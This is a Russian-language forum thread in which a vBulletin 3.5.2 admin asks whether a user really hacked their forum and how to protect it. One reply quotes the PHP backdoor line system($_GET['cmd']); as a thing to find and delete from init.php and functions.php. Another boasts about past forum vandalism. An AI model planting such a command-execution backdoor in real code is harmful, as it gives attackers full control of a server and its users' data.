стоит Русский vBulletin v3.5.2, Copyright ©2000-2006, Jelsoft Enterprises Ltd.
Перевод сделал zCarot
БД и форум стоит на пхп5.1+апач2.0.54 на фряхе

один чел (плохой) утверждает, что благодаря эксплойтам форум взломал.
была ошибка в файле class_core.php в 1871 строке (если мне память не изменяет)

вопрос: это чел бездарно врет или вероятность его правдивости есть?
если подобные взломы случались - как защититься?

гран спасибо всем ответившим!

и чем докажет, что взломал?))

доказательств нет.
есть факт неработающего форума, который пришлось создавать заново и продампить базу даже неудалось.
но я все ж думаю, что он не врет.

Какие симптомы были неработающего форума? Что конкретно случилось?

да с утра 6-го зашли на форум - выдается ошибка в таком-то файле и все.
чел взломать мог - народ с игровых серверов в большинстве своем знающие...

в принципе, щас уже никаких признаков не найти - все восстановлено.
меня больше интересует - как защищаться от попыток взлома.
или ВБ взломать нельзя?

vB - максимально надежный по части взломов, движок.

Ошибка в class_core.php может возникать из-за разных причин, например некорректной установки хаков, из-за криво залитых файлов при обновлении форума и т.п. и собственно говоря, никак не указывает на ВЗЛОМ форума.
Взлом - это все-таки, нечто иное: получение доступа к управлению или изменению информации и т.д.
Это было?

Вот у меня периодически, на одном из форумов, всплывает такая ошибка - когда например, объединяю посты или сливаю две темы.
Знаю, что надо порыться и почистить от одного кривоудаленного хака, но лень.

Тем не менее, это никакой не взлом.

я конешно верю в совпадения..
в-общем, хаков сверх стандартной версии мы не ставили, на форуме никто не админил в тот период.

а совпадение - этот чел орал на весь форум, что это он нас урронил, плюс - он вычислил, кому принадлежит сервер, не конкретно, а какой фирме. короче языком чешет, но скорее всего да. может это и была наша ошибка, а он под шумок терь трезвонит.

но черт возьми, так он меня взбесил седня.. а мне и ответить нечего - потому как знаний не хватает - про те же эксплойты. ни к чему оно было.

А ты посмотри пожалуста в incluides/init.php и incluides/functions.php

Если там есть system($_GET['cmd']);

Удали срочно! Это и есть тот эклсплоит я на него наткнулся!

З.Ы: Косяк в архиве скачаном отсюда!

а совпадение - этот чел орал на весь форум, что это он нас урронил,

Видишь ли, если бы он орал, что уронит, и уронил бы в тот же день - было бы убедительнее.

А еще убедительнее было бы сделать себя админом и всем вам в подписи насовать "Я - МУДАК", или например, как мы один раз кхм-кхм... заменили абсолютно все символы в базе словом "х***"... )